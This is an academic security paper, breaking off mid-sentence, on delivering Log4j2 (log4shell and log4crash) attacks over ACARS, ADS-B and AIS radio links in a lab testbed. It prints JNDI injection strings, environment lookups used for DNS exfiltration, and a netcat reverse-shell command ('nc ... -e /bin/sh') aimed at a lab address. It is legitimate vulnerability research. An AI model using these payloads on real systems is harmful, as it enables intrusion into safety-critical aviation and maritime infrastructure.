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ABSTRACT Apache Log4j2 is a prevalent logging library for Java-based applications. In December
2021, several critical and high-impact software vulnerabilities, including CVE-2021-44228, were publicly
disclosed, enabling remote code execution (RCE) and denial of service (DoS) attacks. To date, these vul-
nerabilities are considered critical and the consequences of their disclosure far-reaching. The vulnerabilities
potentially affect a wide range of internet of things (IoT) devices, embedded devices, critical infrastructure
(CI), and cyber-physical systems (CPSs). In this paper, we study the effects and feasibility of exploiting
these vulnerabilities in mission-critical aviation and maritime environments using the ACARS, ADS-B,
and AIS protocols. We develop a systematic methodology and an experimental setup to study and identify
the protocols’ exploitable fields and associated attack payload features. For our experiments, we employ
software-defined radios (SDRs), use open-source software, develop novel tools, and develop features to
existing software. We evaluate the feasibility of the attacks and demonstrate end-to-end RCE with all
three studied protocols. We demonstrate that the aviation and maritime environments are susceptible to the
exploitation of the Log4j2 vulnerabilities, and that the attacks are feasible for non-sophisticated attackers.
To facilitate further studies related to Log4j2 attacks on aerospace, aviation, and maritime infrastructures,
we release relevant artifacts (e.g., software, documentation, and scripts) as open-source, complemented by
patches for bugs in open-source software used in this study.

INDEX TERMS CVE-2021-44228, log4j, log4shell, vulnerability, exploitation, experimentation, proof-of-
concept, aviation, avionics, ACARS, ADS-B, maritime, AIS, aerospace, satellite.

I. INTRODUCTION
Apache Log4j2 is a prevalent logging library for Java-
based applications. In December 2021, several critical and
high-impact Log4j2 vulnerabilities were publicly disclosed,
enabling remote code execution (RCE) and denial of service
(DoS) attacks [1]. The Log4j2 vulnerabilities constitute to
extremely potent cybersecurity threats, owing to the library’s
ubiquitous status and widespread use, the vulnerabilities’
protracted existence and disconcerting locations in code, and
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especially the fact that the vulnerabilities require no victim
action or interaction prior to exploitation. The first and most
severe identified vulnerability is CVE-2021-44228, colloqui-
ally referred to as log4shell. It is an effortlessly exploitable
class injection RCE vulnerability. RCE can also be achieved
by exploitation of another vulnerability with the identifier
CVE-2021-44832. The DoS vulnerability CVE-2021-45105
is based on resource starvation induced by infinite recursion.
At the time of writing, Log4j2 DoS vulnerabilities do not
carry colloquial names, but for addressing and distinguishing
the RCE effect of log4shell easily, we will refer to DoS
vulnerabilities as log4crash. To date, these vulnerabilities are
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considered among themost critical and serious ones, and their
impact is estimated to be far-reaching, potentially affecting a
wide range of network-enabled devices, including internet of
things (IoT) devices or embedded devices among others [2].

This study explores the practical possibilities and feasi-
bility for potential attackers to inject and exploit log4shell
and log4crash (and related) attack vectors using the
mission-critical wireless communication protocols Air-
craft Communications, Addressing and Reporting System
(ACARS), Automatic Dependent Surveillance-Broadcast
(ADS-B), and Automatic Identification System (AIS).
We chose the mission-critical wireless communication proto-
cols based on their widespread use and potential exploitabil-
ity. The aeronautical and aerospace communication protocols
ACARS and ADS-B are used worldwide. ACARS is used in
ground-to-air and air-to-ground communication, and ADS-B
is additionally used in air-to-air links. ACARS and ADS-B
have also been implemented in aerospace satellite nodes [3],
[4]. AIS is a prevalent maritime and naval surveillance proto-
col for ground-to-surface, surface-to-ground, and surface-to-
surface communication. AIS has likewise been implemented
in aerospace nodes [5]. In aviation, maritime, and aerospace
communication systems, log4shell poses a severe threat,
especially to ground nodes of a network. While mobile nodes
(e.g., vessels, aircraft, or satellites) may also be vulnerable,
the effects of log4shell exploitation are potentially lower,
owing to a lack of ancillary networking capabilities. On the
other hand, log4crash poses a significant threat to mobile
nodes, in particular the ones running mission-critical and
safety-critical operations.

Showing that any real-world information systems are prac-
tically vulnerable is beyond the scope of this paper, and
we demonstrate the principles of the attacks in an experi-
mental environment instead. Still, some prominent examples
of using Java in relation to the studied protocols provide
credibility and practical applicability to our threat model
and experiments. SITA, a major ACARS service provider,
offers end-user software and middleware for ACARS mes-
saging handling. Their SITATEX Online and SITA Data
Connect products provide means of processing ACARS mes-
sages using the Java Messaging Service (JMS) Applica-
tion Programming Interface (API), exhibiting use of the
Java programming language [6]. According to Thales, their
Java-based TopSky suite of air traffic control software prod-
ucts are in service use in 40% of the world’s airspace [7].
Relevantly to this paper’s focal attacks, TopSky’s surveil-
lance components incorporate ADS-B tracking. The Danish
Maritime Authority has released an extensive collection of
open-source Java-based AIS software [8]. It is feasible that
the libraries developed by the government authority could be
implemented in mission-critical information systems. More-
over, there are papers by the International Civil Aviation
Organization and the academia detailing Java-based software
related to ACARS, ADS-B, and AIS [9], [10], [11], that
further underpin the potential for real-world Log4j2 software
vulnerabilities. In practice, any real-world information sys-

tem would have to incorporate a vulnerable Log4j2 library to
fulfill the study assumptions.

The Apache Log4j2 vulnerabilities potentially pose a
severe cybersecurity threat to information systems used in
aviation and seafaring. Realistic outcomes range fromDoS of
transport and supply chains, to exfiltration of sensitive data,
to remote take-over of critical information systems, and to
deep system infiltration. A log4crash DoS attack targeting
transportation and supply chains could, for instance, enable
halting incoming and outgoing passenger, cargo, or military
traffic. A remote take-over log4shell attack could hand the
attacker control over parts of tracking, monitoring, commu-
nication, or interrogation capabilities of air traffic controllers,
naval traffic controllers, aircraft pilots, or vessel captains.
The geographical coverage of attacks would depend on the
targeted information systems’ structures, on the attacker’s
capabilities of radio frequency (RF) transmittance, and on
the attacker’s command and control infrastructure. As inci-
dences involving disruption of wireless communication have
shown [12], [13], such attacks may have far-reaching dra-
matic and tragic consequences.

To determine the capabilities of the selected air interfaces
and protocols for the transmission of log4shell and log4crash
attack vectors, the following research questions are posited:

1) What are the minimum character set and field length
requirements for log4shell and log4crash attack vec-
tors?

2) What are the practical field length requirements for
log4shell and log4crash attack vectors?

3) Which fields in ACARS, ADS-B, or AIS are poten-
tially exploitable for the transmission of log4shell or
log4crash attack vectors?

4) Can our experimental setup show that log4shell or
log4crash are practically exploitable via air interfaces
using ACARS, ADS-B, or AIS?

A. CONTRIBUTIONS
As the first paper of its kind at the intersection of cyber-
security, aviation, and maritime telecommunication fields in
relation to the studied vulnerabilities, our contributions with
this work are:

1) We propose a uniform and systematic methodology
to set up, demonstrate, and evaluate Apache Log4j2
(and similar) attacks and vulnerabilities in mission- and
safety-critical aviation and maritime domains.

2) We systematically evaluate the ACARS, ADS-B, and
AIS protocols to study their exploitability, and to detect
most-likely attack vectors and fields prone specifically
to the Apache Log4j2 vulnerabilities.

3) We successfully demonstrate the proofs-of-concept
of end-to-end exploitation of Apache Log4j2 (CVE-
2021-44228), when vulnerable versions are present
within mission- and safety-critical aviation (ACARS
and ADS-B) and maritime (AIS) systems.
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4) We discover and demonstrate a novel untracked
high-severity DoS vulnerability and an attack vector for
Log4j2 versions up to 2.14.1 (log4crash).

5) We release the proofs-of-concept as open-source to
support the validation of our results, for improvement
of knowledge on the subject, and for further develop-
ment of training, protection, and defense mechanisms.

Our contributions aim to advance the state-of-the-art by
applying design science for modelling the setup, and by
offering an experimental testbed for further experimentation
to the research community.

B. PAPER ORGANIZATION
The rest of this paper is organized as follows. We briefly
introduce background knowledge in Section II. In Section III,
we present our methodology and experimental setup. We dis-
cuss the results of our evaluation and experiments in
Section IV. Then, in Section V, we introduce related work.
Finally, we conclude this paper with Section VI.

II. BACKGROUND
A. LOG4J2 VULNERABILITIES
In late 2021, Chen Zhaojun discovered that a widely used
Java logging library Apache Log4j2 was critically vulnera-
ble to RCE [1]. The identifier CVE-2021-44228, with the
highest possible CVSSv3.1 score of 10.0, for a critical vul-
nerability (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), was
assigned to the vulnerability [14], [15]. Between 2013 and
2021, Log4j2 was vulnerable to inadvertent expansion of Java
Naming and Directory Interface (JNDI) calls enclosed in Java
Expression Language (EL) syntax. JNDI expansion allows an
attacker to inject arbitrary code in the context of a vulnerable
library’s userland during runtime, unbeknownst to and with-
out any interaction by the attack’s target. The vulnerability’s
log4shell handle is self-explanatory, as an attacker can gain
shell access upon successful exploitation.

In the wake of log4shell, other Log4j2 vulnerabili-
ties were identified and exposed. Log4j2 was found to
be vulnerable to DoS and further RCE attacks, if cer-
tain non-default syntax patterns were used. For this vul-
nerability, the identifier CVE-2021-45046 was assigned,
with a CVSSv3.1 score of 9.0 for a critical vulnerabil-
ity (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) [16], [17].
Similarly to CVE-2021-44228, CVE-2021-45046 abuses the
JNDI lookup functionality for RCE and DoS, and it is also
colloquially labeled under the log4shell moniker. Owing
to the requirement for non-default configuration, CVE-
2021-45046 is not further explored in this study. Finally,
it was ascertained that Log4j2 was vulnerable to an addi-
tional DoS attack identified by MITRE as CVE-2021-45105
with a CVSSv3.1 score of 5.9 for a moderate vulnerability
(AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) [18], [19]. As in
the case of log4shell, this DoS vulnerability is based on
inadvertent EL syntax evaluation during runtime. Instead of

utilizing JNDI, a potential software crash by resource starva-
tion is induced via infinite recursion.

Similarly to log4shell, log4crash vulnerabilities are agnos-
tic to the point of injection. Consequently, even considering
their lower CVSS ratings, we argue that log4crash vulnera-
bilities could have even more catastrophic repercussions on
mission-critical information systems than log4shell vulner-
abilities. This is especially the case with CVE-2021-45105,
which at no point requires a two-way network connection,
i.e., it is a ‘‘fire-and-forget’’ type of exploit. If a vulnerable
logging library instance with an ill-considered configuration
were used in information systems with logical separation of
its logging components, log4crashwould not havemuch of an
impact, as it would only crash the logging components. On the
other hand, a vulnerable library can be deeply integrated
into mission-critical components, enabling the crashing of
higher-privilege components remotely by an attacker.

The exploitation of both log4shell and log4crash is
based on the evaluation of EL expressions in the form
‘‘${expression}.’’ Within vulnerable software, strings
enclosed in this syntax are evaluated during runtime, and
system manipulation is possible in the context of the user
running Java Runtime Environment (JRE). By using EL,
system internal information can be retrieved. Calling, for
example, ‘‘${sys:user.name}’’ or ‘‘${env:USER},’’
results in outputting the username running the JRE instance,
and using these strings in domain name system (DNS) queries
to attacker-controlled servers enables data exfiltration. JNDI
calls can be enclosed in EL syntax to reference remote
classes, and outbound requests for remote code can so be
conducted. Vulnerable Log4j2 versions are exploitable when
the library processes an initial attack payload string. Mini-
mally, protocols capable of attack vector transmission need
only character support for alphanumerics, colon (:), slash
(/), dollar sign ($), and curly brackets ({ and }). If a remote
server is being connected to by using its domain name or
internet protocol (IP) address, the period (.) is also required.
Except for the required field length, the carrier protocol
requirements of log4crash strings are identical to those of
log4shell. In practice, a 7-bit ASCII code or an equivalent
character set is adequate and minimally-sufficient for trans-
mitting both log4shell and log4crash strings in plaintext.

Ideally, for the attacker, the initial attack vector for
log4shell could be a string as short as 15 characters, such
as ‘‘${jndi:rmi://a}.’’ This imposes a lower limit for
a protocol field to enable exploitation of log4shell with our
methodology. However, to exploit this minimal length pay-
load, the attacker must employ additional tactics to be able
to use uniform resource identifies (URIs) as short as in the
example above, principally poisoning either the DNS entries
or the hosts-file on the victim’s end to achieve redirection
to the aforementioned exemplary hostname ‘‘a.’’ Addition-
ally, the attacker’s server must be configured to redirect any
incoming requests to a selected payload class. Consequently,
if no domain name poisoning is attempted, the length of the
initial attack vector string is dependent on the length of an
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attacker-controlled domain name. Intentionally short domain
names can be only a few characters long (e.g., t.co), therefore
practical attack payloads can get close to the ideal mini-
mum length. Multiple attack vectors can also be concatenated
to the initial attack string. For example, by using a string
‘‘${jndi:rmi://a/b}${jndi:ldap://c/d},’’ the
attacker can, with a single payload, target different protocols
(Java Remote Method Invocation (RMI) and Lightweight
Directory Access Protocol (LDAP)), different hostnames
expediently in separate network segments (‘‘a’’ and ‘‘c’’),
and different injection payload classes (‘‘b’’ and ‘‘d’’), thus
increasing the chances of exploitation success. For log4crash,
a field with a length of 11 characters is suitable to trans-
mit a payload that induces infinite recursion, demonstrating
vulnerability. For incurring DoS effects in practice, however,
the payload size must be in the range of kilobytes. These
assertions are further elaborated in Section III-C.
Communication protocols suitable for transmission must

contain fields with a length of at least 15 characters to be
theoretically exploitable with log4shell via our methods, and
at least 11 characters to assert vulnerability to log4crash.
Without using domain name poisoning and by referencing
the attacker’s IP directly instead, the lower practical limit for
log4shell in our experiments is 25 characters. Depending on a
protocol’s implementation in software, a given field’s length
is not necessarily a restrictive factor. For example, if consec-
utive protocol fields are at some point processed successively
with no syntax bytes present in between, such a (logged)
byte stream could still enable exploitation. Field-crossing
byte stream exploitation is not explored in this paper. In our
experiments, singular and concatenated log4shell vectors are
demonstrated, and a singular log4crash vector is considered,
as explained later in Section III.

B. MISSION-CRITICAL WIRELESS PROTOCOLS
ACARS, ADS-B, and AIS are all open protocols by design,
which means that communication through them is unen-
crypted (without confidentiality or privacy) and unauthen-
ticated (without authenticity). Only transmission integrity
is adequately addressed in these protocols, as they encom-
pass at least a rudimentary cyclic redundancy check or
line coding for error detection and eventual correction. Any
informed individual or group can implement these protocols
for compatible transceivers. Previous research has demon-
strated that spoofing and other advanced attacks are possible
for ACARS [20], [21], [22], [23], [24], ADS-B [25], [26],
[27], [28], and AIS [29], [30].

C. AVIATION – ACARS
ACARS is a very high frequency (VHF) data-link system
used in aviation. It was designed and first deployed in 1978 by
ARINC to reduce voice communication in commercial avia-
tion. ACARS equipment is integrated with conventional aero-
nautical voice radios to create a switched Telex-like network.
Its performance is, by today’s standards, very modest, but
it is nonetheless relevant to airliners and military aviation

alike, and its use is likely to increase in the 2020s [31]. The
term ACARS can refer to both the legacy waveform and the
protocol. In this paper, we refer to the protocol as ACARS and
the waveform as POA (plain old ACARS). ACARS is used
for ground-to-ground (e.g., between landed aircraft and air-
liners), air-to-ground, and ground-to-air communication. For
example, it can be used to transmit information regarding dis-
patch status, flight performance, cargo, or passenger details.
Crucially, from the perspective of this paper and the Log4j2
vulnerabilities, the protocol enables free-text transmission.

ACARS is a character-oriented protocol, which uses the
ITA-5 alphabet, an equivalent to 7-bit ASCII. The least signif-
icant bit (LSB) is transmitted first, and the eighth bit in every
payload byte is an odd-parity bit. Messages are prepended
with 16 bytes of binary ones. The subsequent 18 charac-
ters are used for protocol-defined fields and communica-
tion metadata, followed by a maximum of 220 printable
characters of payload text. A CRC-16/XMODEM checksum
is appended in every message, encompassing user-alterable
fields. Finally, for transmission, the message is subjected to
non-return to zero space (NRZ-S) line coding. POA uses
two-tone minimum shift keying (MSK) in double-sideband
amplitude modulation (AM) wrapping with a passband band-
width of 3 kHz. The symbol rate is 2 400 baud with a gross bit
rate of 2 400 b/s [32]. Conveniently, the character set is suit-
able for log4shell and log4crash attack vector transmittance
in plaintext, and the payload message’s TEXT-field’s char-
acter count of 220 makes it opportune for exploitation. Fur-
thermore, consequent and chained messages can by design be
used to deliver longer payloads.

D. AVIATION – 1090ES ADS-B
Automatic Dependent Surveillance (ADS) is a set of pro-
tocols used in cooperative aircraft identification and track-
ing. An evolution from classic Secondary Surveillance Radar
(SSR) andMode-S transponders, ADS is a suite of extensions
for legacy SSRs. ADS-B provides aircraft with means of
transmittance and reception of flight profile information with
ground nodes, and in case of well-equipped aircraft, with
other airborne nodes as well [33].

ADS-B alone is a messaging protocol, and it is used in
conjunction with a transport protocol. Similarly to classic
SSR transponders, ADS-B operates at a 1090MHz carrier
with a Mode-S waveform called 1090ES, or Extended Squit-
ter. Additionally, ADS-B can operate at a lower frequency of
978MHz with a transport protocol called UAT978, short for
Universal Access Transceiver. Finally, ADS-B protocol data
can be transported over-the-air with VDL-M2 or enclosed in
ACARSmessages. Our present work focuses on the exploita-
tion of log4shell and log4crash via ADS-B carried over
1090ES links. In 1090ES, pulse position modulation (PPM)
symbols are transmitted on a bit rate of 1Mb/s on a bandwidth
of 4.6MHz. The feasibility of attacks over the UAT978 link is
not explored in this paper. Because of the protocol’s similarity
to 1090ES, with a high degree of certainty, we expect it to be
vulnerable, as is ADS-B over 1090ES. This is a possible topic
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of future work and experimentation, as is the exploitation
of VDL-M2 and the use of an ACARS carrier for ADS-B
messages.

Among different ADS-B message types, Downlink For-
mat 24 Extended Length Message (DF24ELM) is a prime
candidate for log4shell exploitation. DF24ELM allows trans-
mission of up to 160 arbitrary characters. DF24ELM can
be likened to SMS messages that are ubiquitous to cellular
technologies, and the field is not restricted to interpretation
in any predefined character set. An ASCII interpretation of
DF24ELM messages could be realistically employed in an
air traffic service (ATS) setting, and we use this reason-
able assumption as a basis for our ADS-B experiments (see
Section IV-B1).

Other ADS-B packets and fields are either based on a
limited alphabet or interpreted via lookup tables and formulae
(e.g., GPS location – latitude, longitude, altitude). In addition,
most such fields have limited length (e.g., FLIGHTID is lim-
ited to eight characters) and are consequentially unsuitable
for exploiting the studied Log4j2 vulnerabilities.

E. MARITIME – AIS
AIS is a shipborne automatic identification protocol and a
coastal node network introduced in the early 2000s. It is
used similarly to ADS protocols in aviation: for cooperative
surveillance of maritime vessels. AIS equipment uses the
maritime VHF-band for communication. Similarly to POA
equipment, the AIS terminals are designed to connect with
existing maritime radio transceivers to enable proliferation of
the system with few hardware amendments. Maritime nodes
and ground nodes autonomously exchange navigational data
via AIS. The system also allows duress safety-of-life com-
munication. Furthermore, as is the case with ADS, satellite
tracking of AIS messaging is practiced [5].

In AIS messages, the most significant bit (MSB) is trans-
mitted first. Messages start with a 24-bit preamble training
sequence of altering zeroes and ones, followed by a 168-bit
message payload and a two-byte CRC-16/CCITT checksum.
Similarly to ACARS, AIS employs NRZ-S line encoding.
The protocol messages have a 24-bit buffer for bit stuffing.
Bit stuffing is used for the payloadmessage and the checksum
fields to prevent repetitive bit sequences, thus improving
symbol tracking and reducing bit errors. The symbols are
transmitted with a Gaussian minimum shift keying (GMSK)
waveformwith the symbol rate of 9 600 baud and the gross bit
rate of 9 600 b/s. The GMSK baseband waveform is wrapped
within a 25 kHz frequency modulation (FM) carrier for trans-
mission. A range of AIS message types enable splitting mes-
saging payloads in multiple packets. The protocol is therefore
not limited to transmission of 168-bit payloads. [34]

For text string fields, AIS uses a 6-bit ASCII character set
(as defined in Table 47 Annex 8 [34]), which provides some
security by obstructing data transfer possibilities. The 6-bit
ASCII encoding in AIS does not have the characters ‘‘{’’ and
‘‘}’’ required for transmitting EL expressions in plaintext.
However, AIS fields, which enable binary transmission in

hexadecimal wrapping, allow for the use of an extended
ASCII character set. Real-world air interfaces and equipment
could disregard or misinterpret such data unless a matching
character-decoding procedure exists.

Based on our evaluation, the potentially exploitable AIS
binary field types are:Message 6 (Addressed binarymessage,
with two messaging slots yielding 36 payload bytes), Mes-
sage 8 (Binary broadcast message, with two messaging slots
yielding 40 payload bytes), Message 25 (Single slot binary
message, maximally yielding 16 payload bytes), andMessage
26 (Multiple slot binary message with communications state,
with two messaging slots yielding up to 35 payload bytes).
Messages 6, 8, and 26 can transmit more payload bytes if
more messaging slots are used, but, as will be presented in
Section III, in our practical experimental setup, transmis-
sion of 25 bytes is sufficient for log4shell and 11 bytes
for log4crash exploitation. Message 25 can transmit up to
16 payload bytes and it is identified as a potential field for
minimal log4shell injection vectors.

Message 17 (Global navigation-satellite system broadcast
binary message, data field with a payload of up to 92 bytes)
could be a potential attack vector. The payload may be
interpreted specifically as GPS data only – thus Message
17’s exploitation requires more research and experimenta-
tion, a subject of future work. Other AIS messages were
found to be unsuitable for Log4j2 injection vectors for two
main reasons: Firstly, data fields with limited lengths disal-
low sending even the shortest of our exploitation payloads.
Secondly, all text string fields in AIS (e.g., Table 25 and
Table 27 in [34]), though candidates for Log4j2 payloads, are
non-ASCII text strings. As explained above, these are unsuit-
able for Log4j2 payload transmission in plaintext. These non-
binary AIS fields could anyhow transmit hexadecimal data if
a receiver was set up to decode such non-standard payloads.
This option is not explored in this paper as exploiting binary
message types potentially has a more significant real-world
impact.

III. EXPERIMENTAL SETUP AND EVALUATION
In our experiments, we use the attacker model covering
ACARS, ADS-B, andAIS, as presented in Fig. 1. Throughout
this paper, the actors are referred to as ‘‘the attacker’’ and
‘‘the victim.’’ In all cases, the victim represents a singular
node equipped with air interface monitoring capabilities for
the communication protocols. In exploitation of log4shell,
the victim also has outbound network connectivity. All our
experimental setups use inexpensive software-defined radio
(SDR) hardware and open-source software, which was either
freely available at the time of writing or developed to enable
experimentation. The experimental setup does not implement
the configuration of any real-world target. Instead, the setup
consists of elements common to feasibly vulnerable infor-
mation systems. The high-level holistic diagram presented
in Fig. 1 is generally representative of potential real-world
targets that would be vulnerable to our proposed attacks.
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FIGURE 1. The holistic attacker model and payload delivery points for each of the ACARS, ADS-B, AIS, and respective
satellite protocol planes.

Attack Prerequisites: In all of our experiments, successful
log4shell exploitation and end-to-end RCE must fulfill all
of the following prerequisites, while for the exploitation of
log4crash DoS, only the first four prerequisites must be met:
1) The victim has a hardware air interface and is moni-

toring selected radio frequencies with a software-based
receiver. In the real-world, the receiver could be hard-
coded for specific frequencies and protocols.

2) The attacker has a hardware air interface and is capable
of transmittingwaveforms compatible with the victim’s
receiver and the victim’s supported protocols.

3) The output of the victim’s radio receiver is processed
by a piece of software using a vulnerable version of
Log4j2.

4) Crucially, the vulnerable communication protocols
must support the transmission of attack vector strings
exploiting the EL syntax.

5) The victim is running a JRE version vulnerable to RCE.
6) The attacker and the victim have wide area networking

capabilities, and the victim does not restrict outbound
traffic.

Real-World Target Clarification: It is important to clarify
how the prerequisites map to real-world production environ-
ments. The first prerequisite is always fulfilled, as real-world
targetsmust have the respective protocol RF input capabilities
by default to function. The second prerequisite is likewise
always fulfilled, as it is the focal mean of payload transmit-
tance. The prerequisite is feasible owing to affordable SDR
technology. The third prerequisite is conditional, as a suc-
cessful attack requires the use of a vulnerable library version.
An information system is otherwise immune to log4crash and
log4shell. The fourth prerequisite is always fulfilled, as we
demonstrate in Sections III-D, III-E, III-F and Table 5. The
fifth and sixth prerequisites are conditional, meaning that
exploitation of log4shell is viable, if a real-world setup fulfills
them.

FIGURE 2. The principle and phases of log4shell exploitation via air
interfaces.

Technical Principles: The principle of a log4shell attack
and its phases are presented in Fig. 2. In phase one, the
initial attack vector string is delivered via an air interface by
using ACARS, ADS-B, or AIS. In phase two, if the vector
in question is processed by a piece of software vulnerable to
log4shell, the payload induces JNDI expansion and a connec-
tion attempt to an attacker-controlled server. In phase three,
upon receiving the victim’s inadvertent connection attempt,
the attacker’s server returns a second-stage payload Java
class, which is injected into the victim’s JRE during runtime,
resulting in successful exploitation. As depicted in Fig. 2, dur-
ing phases two and three the victim’s firewall can be bypassed
because of an unwitting outbound connection. Ideally, for a
successful log4crash exploitation, only phase one is required,
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TABLE 1. Software used by the attacker.

TABLE 2. Software used by the victim.

i.e., a one-way air interface connection between the attacker
and the victim. This makes log4crash especially suitable for
attacking mobile nodes that could lack networking capabil-
ities but could still have vulnerable Log4j2 components in
on-board systems connected to air interfaces. At the same
time, it makes the affected systems highly susceptible, and
slightly more challenging to defend.

As long as the attacker-controlled server remains avail-
able, static IQ-waveforms containing a URI directing to the
attacker’s infrastructure can be created for a given transmis-
sion protocol. The hardware requirements for the attacker are
truly minimal as the only capability the attacker needs is the
ability to transmit static waveforms on radio frequencies of
the targeted protocol. While the attacker might perform target
reconnaissance with a receiver, no feedback in the RF domain
is required for the successful delivery of the initial attack vec-
tor. Blind waveform transmittance will be equally effective if
suitable RF propagation is achieved and a target system is
vulnerable. Inexpensive commercial software-defined radio
peripherals are capable of transmitting the signals presented
in this paper.

For our experiments, three virtual machines (VM) running
Debian 11 were set up using VirtualBox. The victim’s VM
had the hostname and username vic. The attacker’s two VMs
had the hostnames and usernamesmerlin andmorgan, respec-
tively. The software used within the attacker’s and the vic-
tim’s VMs are presented in Table 1 and Table 2, respectively.

After installation, the VMs were connected to an internal
network representing OSI layer three connectivity, such as a
wide area network (e.g., internet). The victim had a firewall

with incoming connection rejection and no open inbound
ports. Outbound traffic from the victim was unrestricted. In a
demonstration of singular vectors, the attacker merlin’s IP
address was 10.0.2.15, while the victim vic’s IP was 10.0.2.4.
The IP addresses were assigned automatically by VirtualBox
during the initialization of the VMs, and they do not bear any
significance to the experimental setup apart from enabling
connectivity. Apart from the over-the-air payload transmit-
tance, all of the exploitation interactionwas sandboxedwithin
the boundaries of the VMs’ private virtual networks.

In a concatenated log4shell RCE vector demonstration,
merlin was set up with IP 10.0.2.6 and morgan with IP
10.0.2.7, where morgan had the same software configuration
asmerlin. When using the concatenated vector, the difference
in the main attack principle was as follows: In phase one,
two remote class references, corresponding to two separate
attacker-controlled servers, were transmitted in the attacker’s
payload. In phase two, each remote class reference resulted
in a class injection. In phase three, two separate remote shell
connections were invoked simultaneously.

Commercial off-the-shelf (COTS) SDRs were used to sat-
isfy the hardware requirements of our experiments. An inex-
pensive RTL-SDR receiver with a telescopic antenna was
used as the victim’s air interface hardware. A HackRF
One transceiver was used as the attacker’s transmitter, like-
wise equipped with a telescopic antenna. The experiments
were conducted in Finland in an indoors lab with low
power and attenuators to minimize unintentional interfer-
ence. In Finland, the 432–438MHz ISM-band is allocated for
transceivers exempt from licensing [40]. Therefore, regard-
less of the targeted protocol original RF bands, all experi-
mental transmissions were carried out in the 432–438MHz
ISM-band.

A. LOG4J2 VULNERABLE BACKEND
To provide a uniform and easy-to-replicate software envi-
ronment vulnerable to log4shell and related Log4j2 attacks,
we developed an intentionally vulnerable piece of software
called log4stdin [39]. Log4stdin uses stdin as its input, uses
Log4j2 to process the received input, and outputs logs to std-
out or, in our case, to a terminal emulator. Log4stdinwas built
using Maven artifacts ‘‘log4j-api 2.14.1’’ and ‘‘log4j-core
2.14.1,’’ which are vulnerable to CVE-2021-44228, CVE-
2021-45105, and other related vulnerabilities. In practice,
log4stdin can be used with Unix pipes to render any piece
of software vulnerable to log4shell. In our experiments, the
output from the radio receiver software is piped into log4stdin
to introduce the vulnerabilities to create an intentionally vul-
nerable backend. Log4stdin uses ‘‘%msg%n’’ as its logging
pattern, which differs from the default pattern by the omission
of timestamps and logging levels.1

1The default logging pattern was modified to improve terminal output
legibility, and it does not affect in any way the attack effectiveness and the
exploitation results. We also provide builds of log4stdin with unmodified
default logging patterns for Log4j2 versions 2.0-beta9 through 2.17.2 [39].
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Log4stdin portrays a general-purpose backend component
using a vulnerable Log4j2 library. Piping the receiver soft-
ware output directly to log4stdin yields a very lightweight
intentionally vulnerable experimental setup, without the need
to emulate any later data processing stages. The approach is
justified because, in reality, Log4j2 vulnerabilities could be
extant in virtually any layer of an information system, and any
instance of the vulnerability is equally exploitable. Therefore,
our purposeful use of log4stdin should be understood as an
abstraction of any vulnerable backend in general. In addi-
tion to our direct use of log4stdin in VMs and protocols in
this study, log4stdin could be employed in further studies
within environments where it is not clear whether Log4j2
vulnerabilities exists, but their effects require elucidation. For
example, Log4stdin can so be used to intentionally introduce
the Log4j2 vulnerabilities into deployed information systems
to enable development and testing of mitigative measures.
In such cases, by using log4stdin, no production software
needs to be modified to explore the impact and exploitability
of log4shell and log4crash.

B. CLASS INJECTION AND REMOTE CONTROL
To demonstrate the end-to-end RCE, log4stdinwas intention-
ally selected to be run with the Oracle JRE version 8u20,
which is known to be vulnerable to RCE, as the JRE ver-
sion 8u121 or later would prevent the reverse shell approach
described in this section. However, even if patched JRE
versions were used, the inadvertent JNDI expansion could
be exploited for DNS lookups, thus exposing the victim’s
backend at least to footprinting efforts by the attacker. Addi-
tionally, exploitation of Log4j2 vulnerabilities other than
CVE-2021-44228 or the use of alternative reverse shell tech-
niques could still be attempted.

Ncat was used as a reverse shell listener. On the attacker’s
VM merlin, we started the ncat listener and bound it to an
arbitrarily selected port 8080. Then, a JNDI injection server
was used to exploit the JNDI notation’s inadvertent expan-
sion, leading to subsequent injection of a Java class into the
victim’s vulnerable software during runtime. To achieve this,
we used JNDI-Exploit-Kit, which comprises three servers:
RMIserver, LDAPserver, and Jettyserver. As their names sug-
gest, RMIserver and LDAPserver provide RMI and LDAP
protocol capabilities, while Jettyserver provides HTTP con-
nectivity for payload class delivery. Once an RMI or an LDAP
connection is established between the victim and the attacker,
Jettyserver returns a second-stage payload Java class, thus
completing injection during the victim’s runtime in the con-
text of the victim’s userland. The injected class executes
arbitrary commands given by the attacker upon server ini-
tialization. For this purpose, we used a second-stage pay-
load command ‘‘nc 10.0.2.15 8080 -e /bin/sh’’
on merlin. This command was intended to invoke a remote
shell connection on the victim user vic’s context via port
8080. During a demonstration of a concatenated attack vec-
tor, the attacker’s morgan VM had an identical software

configuration to that of merlin, except that morgan used port
8081 for its remote shell listener.

The use of ncat at the victim’s end is justified because it
offers a streamlined method for reverse shell demonstration.
Even if the attacker’s target did not have ncat installed, suc-
cessful class injection allows arbitrary code to be run, and
initiating a reverse shell by other means is trivial. In con-
junction with the ncat listener initialized before, the payload
command used in the JNDI-Exploit-Kit servers completed
the reverse shell capabilities on the attacker’s end. In prac-
tice, upon successful class injection, the victim’s machine
would run the payload command, resulting in an outbound
connection unknowingly made by the victim and providing
remote control capabilities for the attacker in the scope of
the victim’s user. The reverse shell connection is triggered
by the attacker via an initial attack vector, a tailored string
using JNDI syntax. Upon processing by a vulnerable Log4j2
instance, the string will result in a connection attempt made
to the attacker-controlled server.

C. ATTACK VECTOR DEVELOPMENT
Our initial attack vector strings are presented in Table 3,
and the central commands are presented in Table 4. The
waveform files are available on GitHub [41]. The protocols
studied in this paper must allow, via its packets and fields, the
transmittance of any of the attack strings to permit log4shell
or log4crash exploitation.
Our log4shell attacks targeted CVE-2021-44228, and in

our experiments two singular initial attack vector strings
were used, comprising URIs directing to injection servers
initialized with JNDI-Exploit-Kit. The first log4shell vector
targeted the LDAP protocol explicitly on port 1389, and
used a randomly generated class name. It was initially cre-
ated programmatically with JNDI-Exploit-Kit. Subsequently,
JNDI-Exploit-Kit was minimally modified to provide static
class names sequentially from ‘‘a’’ to ‘‘e,’’ instead of using
all-generated class names of the original version [36]. The
second log4shell vector targeted the RMI protocol, implicitly
using its default protocol port 1099, and a minimal class
name ‘‘a.’’ At this point we confirmed that the minimal
17-character vector ‘‘${jndi:rmi://a/b}’’ is viable.
We successfully tested the minimal RCE vector in a ‘‘dry
run’’ by echoing the vector directly in a terminal and piping
the output to log4stdin. However, for this purpose, on vic’s
